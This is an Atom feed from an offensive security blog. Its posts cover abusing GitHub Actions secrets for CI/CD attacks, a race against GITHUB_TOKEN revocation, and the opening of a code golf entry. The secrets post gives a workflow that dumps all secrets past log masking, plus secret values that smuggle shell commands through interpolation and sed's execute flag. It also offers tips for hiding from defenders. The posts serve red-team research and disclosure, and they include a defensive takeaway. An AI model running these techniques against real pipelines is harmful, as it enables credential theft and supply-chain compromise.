<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>nopcorn</title>
 <subtitle>thoughts and ramblings of an offensive security engineer</subtitle>
 <link href="https://nopcorn.run/atom.xml" rel="self"/>
 <link href="https://nopcorn.run/"/>
 <updated>2026-10-26T13:13:23+00:00</updated>
 <id>https://nopcorn.run/</id>
 <rights>© 2026 nopcorn</rights>
 <author>
   <name>nopcorn</name>
   <uri>https://nopcorn.run</uri>
 </author>

 
 <entry>
   <title>GitHub Actions Secrets - Your New Favorite Red Team Primitive</title>
   <link href="https://nopcorn.run/2026/02/12/github-actions-secrets"/>
   <published>2026-02-12T00:00:00+00:00</published>
   <updated>2026-02-12T00:00:00+00:00</updated>
   <id>https://nopcorn.run/2026/02/12/github-actions-secrets</id>
   <author>
     <name>nopcorn</name>
   </author>
   <summary>GitHub Actions secrets are designed to protect your credentials, but the same properties that make them secure make them a versatile tool for attackers.</summary>
   <category term="cicd"/>
   <category term="github"/>
   <category term="github_token"/>
   <category term="workflow"/>
   <category term="redteam"/>
   <category term="actions"/>
   <category term="github_actions"/>
   <category term="secrets"/>
   
   <content type="html">&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;Anyone with write access to a repo can overwrite any secret, including environment secrets protected by required reviewers&lt;/li&gt;
    &lt;li&gt;Passing secrets through environment variables only protects against shell injection, not YAML injection, jq injection, CRLF, or other downstream parsing issues&lt;/li&gt;
    &lt;li&gt;Use GitHub Actions secrets as a swiss army knife when attacking CI/CD pipelines. It makes detection and response much more challenging.&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;This post is a collaboration between myself and &lt;a href=&quot;http://jackhacsecurity.com/&quot;&gt;jackhac&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;GitHub Actions secrets are encrypted variables designed to store sensitive information like API keys, tokens, and credentials. Their core premise is straightforward, once you set a secret its value is hidden from all GitHub interfaces. You cannot read it back through the UI, the CLI, or the API. Repository administrators can’t retrieve a secret’s plaintext value after it has been stored either. GitHub &lt;a href=&quot;https://docs.github.com/en/actions/concepts/security/secrets&quot;&gt;encrypts secrets using Libsodium sealed boxes&lt;/a&gt; before they even reach GitHub’s servers, and the values are only decrypted at runtime when injected into a workflow.&lt;/p&gt;

&lt;p&gt;This sounds great. And to be fair, the encryption and access control mechanisms are solid. The problem isn’t with how secrets are stored, but rather with how they are &lt;em&gt;used&lt;/em&gt;, who can &lt;em&gt;modify&lt;/em&gt; them, and what the documentation &lt;em&gt;doesn’t&lt;/em&gt; adequately warn defenders about.&lt;/p&gt;

&lt;p&gt;The GitHub documentation on secrets has a few significant blind spots that, taken together, create real opportunities for attackers during red team engagements. Their design as un-auditable values also provide avenues for dodging defenders. This post will walk through some blind spots regarding secrets and how you can leverage them when attacking GitHub Actions.&lt;/p&gt;

&lt;h1 id=&quot;secrets-for-shell-injection&quot;&gt;Secrets for Shell Injection&lt;/h1&gt;

&lt;p&gt;GitHub’s &lt;a href=&quot;https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions&quot;&gt;security hardening guide&lt;/a&gt; states:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Any user with write access to your repository has read access to all secrets configured in your repository.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The docs are a bit misleading. Here “read access” means users with write access can list secrets names. But the statement undersells the actual risk. Users with write access can also &lt;em&gt;overwrite&lt;/em&gt; secret values. The &lt;a href=&quot;https://docs.github.com/en/rest/actions/secrets&quot;&gt;REST API for Actions secrets&lt;/a&gt; requires only collaborator access to create or update secrets, and the &lt;a href=&quot;https://docs.github.com/actions/security-guides/using-secrets-in-github-actions&quot;&gt;Using Secrets documentation&lt;/a&gt; confirms that you need write access to create secrets for an organization repository. This has been &lt;a href=&quot;https://github.com/orgs/community/discussions/159727&quot;&gt;confirmed as intentional behavior&lt;/a&gt; by GitHub, and there is a &lt;a href=&quot;https://github.com/github/docs/issues/1087&quot;&gt;long-standing docs issue&lt;/a&gt; about the confusing way this is documented.&lt;/p&gt;

&lt;p&gt;In most organizations, write access is extremely common. Nearly every developer on a team has push permissions to at least some repositories. There is no separate permission for “can modify secrets” versus “can push code.” If you can push a branch, you can overwrite a secret.&lt;/p&gt;

&lt;p&gt;The surprising part is that &lt;strong&gt;this applies to protected environment secrets too.&lt;/strong&gt; You might assume that environments with &lt;a href=&quot;https://docs.github.com/en/actions/reference/workflows-and-actions/deployments-and-environments&quot;&gt;required reviewers&lt;/a&gt; are protected from this kind of tampering. They are not. Required reviewers gate workflow &lt;em&gt;execution&lt;/em&gt; only. The API endpoint for creating or updating environment secrets has the same permission requirement as repository secrets. No additional approval step, no reviewer notification. An attacker with write access can overwrite a production environment secret via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gh secret set SECRET_NAME --env production&lt;/code&gt;, and the next time a legitimate deployment is approved by a reviewer, the poisoned value gets used.&lt;/p&gt;

&lt;p&gt;If a workflow interpolates a secret directly into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;run&lt;/code&gt; step, an attacker with write access can overwrite that secret with a value containing shell metacharacters and get arbitrary code running on the workflow runner.&lt;/p&gt;

&lt;p&gt;The obvious problem is noise. Blindly overwriting a secret you don’t know the value of will almost certainly break the pipeline, trigger an investigation, and announce your presence. That might be acceptable for a smash-and-grab, but there will be consequences.&lt;/p&gt;

&lt;p&gt;Consider this vulnerable workflow step:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Deploy to production&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;echo &quot;${{ secrets.SSH_PRIVATE_KEY }}&quot; &amp;gt; /tmp/deploy_key&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;chmod 600 /tmp/deploy_key&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;ssh -i /tmp/deploy_key -o StrictHostKeyChecking=no deploy@prod.example.com &quot;deploy_script.sh&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The direct interpolation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH_PRIVATE_KEY&lt;/code&gt; makes this vulnerable to shell injection. But to exploit it cleanly, we first need to know the secret’s current value so we can preserve it in our payload. That means we need to figure out where the secret lives: is it an organization secret, a repository secret, or an environment secret? The answer determines whether we can read the original value and whether we can override it at a different scope.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gh secret list &lt;span class=&quot;nt&quot;&gt;--org&lt;/span&gt; &amp;lt;org&amp;gt;
gh secret list &lt;span class=&quot;nt&quot;&gt;--repo&lt;/span&gt; &amp;lt;org&amp;gt;/&amp;lt;repo&amp;gt;
gh secret list &lt;span class=&quot;nt&quot;&gt;--repo&lt;/span&gt; &amp;lt;org&amp;gt;/&amp;lt;repo&amp;gt; &lt;span class=&quot;nt&quot;&gt;--env&lt;/span&gt; &amp;lt;&lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Assuming it is an organization secret, we can dump its value by pushing a throwaway workflow to a feature branch. Organization secrets are passed to all workflows in repositories that have access to them, regardless of whether any job explicitly references the secret by name.&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# .github/workflows/malicious.yaml (pushed to a feature branch)&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;debug&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;push&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nothing to see here&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;echo &apos;${{ toJSON(secrets) }}&apos; | base64 | base64&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# bypass log masking&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This writes all available secrets to the workflow logs and bypasses GitHub’s secret masking. In a real engagement you would blend the workflow name and step names into something ordinary, and you would probably exfiltrate the values to a server you control rather than leaving them in the logs.&lt;/p&gt;

&lt;p&gt;Now that you know the real value, you can exploit the secret context hierarchy to inject a poisoned value without disrupting other repositories. GitHub resolves secret name collisions using a &lt;a href=&quot;https://docs.github.com/en/actions/reference/security/secrets#naming-your-secrets&quot;&gt;fixed priority order&lt;/a&gt;: environment secrets take precedence over repository secrets, which take precedence over organization secrets. If the same secret name exists at multiple levels, the most specific scope wins.&lt;/p&gt;

&lt;p&gt;This means you can shadow a broadly-scoped secret by creating one at a narrower scope. Set a repository-level secret with the same name as the organization secret, and only that repo picks up the poisoned value. Every other repo continues using the original. Delete the repository secret when you’re done and the organization secret takes effect again, with no trace at the organization level.&lt;/p&gt;

&lt;p&gt;The same principle applies one level deeper. If a workflow uses environment secrets, you can shadow a repository secret by setting an environment secret with the same name. The workflow job that references that environment will use your value; jobs that don’t reference the environment will still see the original.&lt;/p&gt;

&lt;p&gt;In this case, we set a repo secret to override the org secret and successfully take over the pipeline:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gh secret &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;SSH_PRIVATE_KEY &lt;span class=&quot;nt&quot;&gt;--repo&lt;/span&gt; &amp;lt;org&amp;gt;/&amp;lt;repo&amp;gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--body&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;real_SSH_PRIVATE_KEY_value&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &amp;gt; /tmp/deploy_key; &amp;lt;injection payload&amp;gt;; #&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The pipeline still works. The SSH key is still valid. And your payload runs alongside it. When you are done, delete the repository secret and the original organization secret takes effect again.&lt;/p&gt;

&lt;h1 id=&quot;injection-beyond-the-shell&quot;&gt;Injection Beyond the Shell&lt;/h1&gt;

&lt;p&gt;Sure, just don’t write vulnerable workflows and you’re fine. Right?&lt;/p&gt;

&lt;p&gt;GitHub has an entire &lt;a href=&quot;https://docs.github.com/en/actions/concepts/security/script-injections&quot;&gt;dedicated page on script injections&lt;/a&gt; in the context of Actions workflows. It does a decent job of explaining how untrusted input from contexts like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github.event.pull_request.title&lt;/code&gt; can lead to command injection when interpolated into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;run&lt;/code&gt; steps. The recommended mitigation is to pass values through environment variables rather than directly interpolating expressions. This is good advice. The shell treats the variable as a string, not as executable code.&lt;/p&gt;

&lt;p&gt;But shell injection is not the only injection technique. Secrets get passed to all kinds of programs in a typical CI/CD pipeline, and many of those programs have their own interpretation of special characters. An environment variable stops the shell from expanding metacharacters. It does nothing to stop the &lt;em&gt;receiving program&lt;/em&gt; from interpreting the secret’s contents in dangerous ways.&lt;/p&gt;

&lt;p&gt;This shifts the attacker’s goal. Instead of exploiting a workflow that already exists, the aim is to get a workflow change merged that looks benign but is exploitable through a poisoned secret.&lt;/p&gt;

&lt;p&gt;Consider a PR that adds a step like this:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Add API key to local config&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;API_KEY&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;${{ secrets.API_KEY }}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;sed &quot;s/PLACEHOLDER_API_KEY/$API_KEY/&quot; settings.conf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This looks fine. The secret is loaded as an environment variable, so shell injection is off the table. It uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed&lt;/code&gt; to drop a sensitive API key into a settings file. A reviewer who has read GitHub’s guidance on secrets will see the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;env&lt;/code&gt; block, nod approvingly, and hit approve.&lt;/p&gt;

&lt;p&gt;The problem is that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed&lt;/code&gt; has its own injection surface. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e&lt;/code&gt; flag causes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed&lt;/code&gt; to execute the contents of the pattern space as a shell command. A poisoned secret like:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gh secret &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;API_KEY &lt;span class=&quot;nt&quot;&gt;--body&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;actual_api_key&amp;gt;/;e (cmd1 &amp;amp;&amp;amp; cmd2) &amp;gt; /dev/null;#&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;will cause the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed&lt;/code&gt; command to execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd1&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd2&lt;/code&gt; on the runner without breaking the pipeline, assuming you were able to leak the original secret value as described earlier. The API key still ends up in the config file. The build still passes.&lt;/p&gt;

&lt;p&gt;A reviewer would need to be intimately familiar with the parsing behavior of every program that touches a secret to catch something like this. Realistically, nobody outside of offensive security is thinking about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed&lt;/code&gt; command execution flags during code review. The combination of opaque secret values and non-obvious injection surfaces makes this a reliable way to slip malicious workflow changes past a reviewer who is doing everything GitHub tells them to do.&lt;/p&gt;

&lt;h1 id=&quot;a-note-on-disclosure&quot;&gt;A Note on Disclosure&lt;/h1&gt;

&lt;p&gt;All of the techniques in this post rely on documented, intentional behavior. Write access allowing secret modification is confirmed as by-design. Direct interpolation of secrets into shell commands is possible by design (the docs recommend against it, but do not prevent it). Secret values being opaque and unauditable is the entire point of the feature. There is nothing here to disclose to GitHub, because none of it is a bug. It is the logical consequence of design decisions that are individually reasonable but collectively create a trust model that attackers can exploit.&lt;/p&gt;

&lt;h1 id=&quot;takeaways&quot;&gt;Takeaways&lt;/h1&gt;

&lt;p&gt;GitHub Actions secrets do exactly what they promise: they store values securely and prevent them from being read back through GitHub’s interfaces. The encryption is real, the access controls work as documented, and the log redaction is a thoughtful defense-in-depth measure.&lt;/p&gt;

&lt;p&gt;The problem is that these same properties create assumptions. Developers assume that because a value comes from an encrypted store, it is safe to interpolate and requires higher permissions to modify. Reviewers assume that because they have followed GitHub’s guidance, non-shell-based injection isn’t something to worry about. And everyone assumes that environment protection rules protect the environment’s secrets from tampering, when they only protect against unauthorized &lt;em&gt;consumption&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;None of these assumptions hold up under adversarial pressure. For red teamers, secrets are a versatile tool that provides injection vectors, social engineering aids for bypassing code review, and an invisible storage mechanism for payloads.&lt;/p&gt;

&lt;p&gt;Want to sidestep all of this? Move your secrets to a cloud secrets manager and access them via OIDC. Then any call to GitHub’s secrets API becomes something your SOC should investigate.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>GITHUB_TOKEN isn&apos;t that Ephemeral</title>
   <link href="https://nopcorn.run/2025/05/26/github-token"/>
   <published>2025-05-26T00:00:00+00:00</published>
   <updated>2025-05-26T00:00:00+00:00</updated>
   <id>https://nopcorn.run/2025/05/26/github-token</id>
   <author>
     <name>nopcorn</name>
   </author>
   <summary>Compromising CI/CD pipelines can be very fruitful</summary>
   <category term="cicd"/>
   <category term="github"/>
   <category term="github_token"/>
   <category term="workflow"/>
   <category term="redteam"/>
   <category term="actions"/>
   
   <content type="html">&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;GITHUB_TOKEN is an ephemeral (cough) API key used for workflows to authenticate to the Github API&lt;/li&gt;
    &lt;li&gt;If you leak the token and make it available prior to the end of the workflow run, bad things can happen&lt;/li&gt;
    &lt;li&gt;Github states that the token is destroyed at the end of a workflow run, but it isn’t immediately invalidated&lt;/li&gt;
    &lt;li&gt;You can race Github’s invalidation process for fun and profit&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;This post is a collaboration between myself and &lt;a href=&quot;http://jackhacsecurity.com/&quot;&gt;jackhac&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Every time a &lt;a href=&quot;https://docs.github.com/en/actions&quot;&gt;GitHub Actions&lt;/a&gt; workflow is triggered, GitHub automatically provisions a token called &lt;a href=&quot;https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GITHUB_TOKEN&lt;/code&gt;&lt;/a&gt;. This ephemeral credential allows jobs in the workflow to authenticate to the GitHub API without requiring manually managed secrets or personal access tokens. The token is injected into the workflow environment and is scoped to the repository context in which the workflow is running.&lt;/p&gt;

&lt;p&gt;GITHUB_TOKENs can have &lt;a href=&quot;https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication#permissions-for-the-github_token&quot;&gt;multiple different default permission sets&lt;/a&gt; though these permissions can be customized within the workflow or job itself. Job-level scoping is prefered as it gives fine-grained control over access.&lt;/p&gt;

&lt;h1 id=&quot;dude-wheres-my-token&quot;&gt;Dude where’s my token&lt;/h1&gt;

&lt;p&gt;Despite the ephemeral nature of GITHUB_TOKEN, misuse or mishandling during the workflow execution window can expose projects to significant risk. Many teams assume that temporary credentials are inherently safe, but this assumption breaks down in environments where artifacts, logs, or third-party actions introduce uncontrolled surfaces.&lt;/p&gt;

&lt;p&gt;One of the most overlooked issues with GITHUB_TOKENs comes from a subtle behavior in &lt;a href=&quot;https://github.com/actions/upload-artifact&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;actions/upload-artifact@v4&lt;/code&gt;&lt;/a&gt;. In this version, artifacts &lt;a href=&quot;(https://github.com/actions/upload-artifact?tab=readme-ov-file#improvements)&quot;&gt;become downloadable as soon as they’re uploaded&lt;/a&gt;, even if the workflow that created them is still running. This creates a narrow but potent attack window: if the artifact contains a copy of the GITHUB_TOKEN, an attacker can retrieve it and execute arbitrary API calls in the context of the job until the workflow terminates.&lt;/p&gt;

&lt;p&gt;That said, most workflows that upload artifacts tend to do it at the very end. So, in theory, there shouldn’t be much of a window for an attacker to abuse the GITHUB_TOKEN, right? The workflow usually wraps up right after the upload, which should invalidate the token almost immediately. Right? Right!?&lt;/p&gt;

&lt;h1 id=&quot;use-after-free-ish&quot;&gt;Use after free (ish)&lt;/h1&gt;

&lt;p&gt;While the official documentation states that the GITHUB_TOKEN is revoked immediately after the workflow ends, we discovered that this isn’t strictly true… &lt;em&gt;surprised pickachu&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;During a series of tests conducted in collaboration with my research partner &lt;a href=&quot;http://jackhacsecurity.com/&quot;&gt;jackhac&lt;/a&gt;, we observed that the token often remains valid for a short period (typically between one and two seconds) after the workflow reports as completed. In other words, the revocation process is not instantaneous. This creates a brief but real post-execution window during which a previously retrieved token can still be used to interact with the GitHub API.&lt;/p&gt;

&lt;p&gt;We confirmed the racing by setting up a dummy vulnerable workflow in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nopcorn/artifact-exploit-poc&lt;/code&gt; that would purposefully write the GITHUB_TOKEN to an artifact using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;actions/upload-artifact@v4&lt;/code&gt;. We then used a script to manually kick off the workflow, monitor for the artifact, download it, extract the value of GITHUB_TOKEN, and use it to authenticate to the Github API out of band for as long as it was valid. Afterwards we compared timestamps:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python exploit.py --repo nopcorn/artifact-exploit-poc --polling-interval 0.5
[*] Manually triggering the workflow to start...
[*] Waiting for the workflow run to be detected...
[+] Active workflow run found! Run ID: 15263730946, Status: queued
[*] Waiting for run 15263730946 for artifact &apos;secret-file&apos;...
[*] Downloading artifact secret-file...
[+] Successfully extracted GITHUB_TOKEN from the artifact -&amp;gt; ghs_PsmNtQuBpes3u9x8MxQx22gE6C7Oc42QTsLj
[+] Monitoring GITHUB_TOKEN validity...
[+] 2025-05-27T00:01:42.289469Z: Valid GITHUB_TOKEN! (status code 200)
[+] 2025-05-27T00:01:42.980345Z: Valid GITHUB_TOKEN! (status code 200)
[+] 2025-05-27T00:01:43.668557Z: Valid GITHUB_TOKEN! (status code 200)
[+] 2025-05-27T00:01:44.360745Z: Valid GITHUB_TOKEN! (status code 200)
[+] 2025-05-27T00:01:45.023419Z: Valid GITHUB_TOKEN! (status code 200)
[+] 2025-05-27T00:01:45.688257Z: Valid GITHUB_TOKEN! (status code 200)
[+] 2025-05-27T00:01:46.353344Z: Valid GITHUB_TOKEN! (status code 200)
[+] 2025-05-27T00:01:47.046626Z: Valid GITHUB_TOKEN! (status code 200)
[+] 2025-05-27T00:01:47.754317Z: Valid GITHUB_TOKEN! (status code 200)
[!] 2025-05-27T00:01:48.423765Z: Invalid GITHUB_TOKEN: Bad credentials
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we take a look at the &lt;a href=&quot;https://github.com/nopcorn/artifact-exploit-poc/commit/79cadb723caa718616c04661e32ee628bf53c1b5/checks/42925720356/logs&quot;&gt;raw run logs for the workflow&lt;/a&gt;, you can see the workflow ends around &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2025-05-27T00:01:46&lt;/code&gt;, but we’re able to successfully use the GITHUB_TOKEN until at least &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2025-05-27T00:01:47&lt;/code&gt; - a whole second later. While this doesn’t seem like a lot there are several techniques a threat actor could use to compromise a repository with only a single API call.&lt;/p&gt;

&lt;p&gt;While this is a contrived example, a scan of all Github repositories using &lt;a href=&quot;sourcegraph.com&quot;&gt;SourceGraph&lt;/a&gt; proves this is more common than you might think.&lt;/p&gt;

&lt;h1 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h1&gt;

&lt;p&gt;We responsibly disclosed this finding to GitHub through their vulnerability reporting program on HackerOne. The issue was triaged and investigated over the course of a month. Ultimately, however, GitHub classified the behavior as “informational” and chose not to pursue it further. Their position was that since the token is eventually revoked, the brief extension does not constitute a vulnerability under their current threat model.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/github_this_is_fine.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;While we respect their decision, it underscores a philosophical gap between how ephemeral secrets are documented and how they behave in practice. For red teamers, this matters. If you can automate artifact retrieval and parse secrets before the revocation race completes, you have a viable short-term credential to pivot or persist.&lt;/p&gt;

&lt;p&gt;We approached many of the vulnerable projects we identified during our scans (via bug bounty programs and Github Security disclosures) and we’re happy to say that the vast majority of them were receptive to the exploit vector and promptly fixed their vulnerable repositories.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>My Binary Golf Grand Prix 4 (BGGP4) Winning Entries</title>
   <link href="https://nopcorn.run/2024/07/10/bggp4-winning-entries"/>
   <published>2024-07-10T00:00:00+00:00</published>
   <updated>2024-07-10T00:00:00+00:00</updated>
   <id>https://nopcorn.run/2024/07/10/bggp4-winning-entries</id>
   <author>
     <name>nopcorn</name>
   </author>
   <summary>A cheeky interpretation of the rules allowed me to win the python and shell challenges</summary>
   <category term="bggp4"/>
   <category term="challenge"/>
   <category term="python"/>
   <category term="bash"/>
   
   <content type="html">&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;The Binary Golf Grand Prix (BGGP) is a yearly code golf challenge&lt;/li&gt;
    &lt;li&gt;I won the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell&lt;/code&gt; categories of BGGP4 by cheekily interpreting the rules 👑&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;The Binary Golf Grand Prix (BGGP) is an annual competition that began in 2020, challenging participants to create the smallest possible binary files that perform specific tasks. Organized by &lt;a href=&quot;https://x.com/netspooky&quot;&gt;@netspooky&lt;/a&gt;, the event builds on the concept of code golf, focusing on the creation of minimal executable binaries across various formats and architectures.&lt;/p&gt;

&lt;p&gt;Participation in BGGP has grown steadily, with numerous entries each year showcasing innovative techniques and deep technical knowledge. The event has become a highlight in the niche community of binary golf enthusiasts, blending creativity with technical prowess. In 2023, BGGP4 opened up entries to non-binary formats which allowed many more people to participate.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://binary.golf/4/&quot;&gt;Binary Golf Grand Prix 4&lt;/a&gt; (BGGP4) had specific rules that challenged participants to create the smallest executable files that could replicate themselves with an additional few constraints:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The file must print or return the string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;The replica it creates must be called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;It must not execute its replica&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I decided to try my hand at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell&lt;/code&gt; categories.&lt;/p&gt;

&lt;h2 id=&quot;python-42-bytes&quot;&gt;Python (42 bytes)&lt;/h2&gt;

